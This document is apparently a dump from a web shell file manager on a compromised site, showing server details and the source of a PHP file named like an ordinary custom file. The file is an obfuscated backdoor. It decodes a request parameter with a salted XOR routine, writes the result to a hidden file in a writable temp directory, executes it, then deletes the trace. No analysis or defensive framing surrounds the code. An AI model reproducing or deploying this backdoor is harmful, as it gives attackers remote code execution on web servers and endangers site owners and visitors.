HEX
Server: Apache/2.4.38 (Debian)
System: Linux host457 5.14.0-4-amd64 #1 SMP Debian 5.14.16-1 (2021-11-03) x86_64
User: www-data (33)
PHP: 7.4.21
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /home/vhosts/harpoeditore.it/httpdocs/assaggio/custom.file.2.1756456410.php
<!--U8AI9MxG-->
<?php

if(in_array("\x63o\x6Dp", array_keys($_REQUEST))){
$key = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", sys_get_temp_dir(), getcwd(), "/var/tmp", session_save_path(), "/dev/shm"]);
$resource = $_REQUEST["\x63o\x6Dp"];
	$resource	= 	explode		 (	'.' 	,  $resource		);
$component = '';
$salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt4);
$i = 0;

while ($i < count($resource)) {
    $val = $resource[$i];
    $sChar = ord($salt4[$i	%	$lenS]);
    $d = ((int)$val - $sChar - ($i	%	10)) ^ 83;
    $component	 .=chr($d);
    $i++; 	} 	
foreach ($key as $ent) {
            if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) {
            $data_chunk = "$ent" . "/.obj";
            if (file_put_contents($data_chunk, $component)) {
    include $data_chunk;
    @unlink($data_chunk);
    die();
}
        }
}
}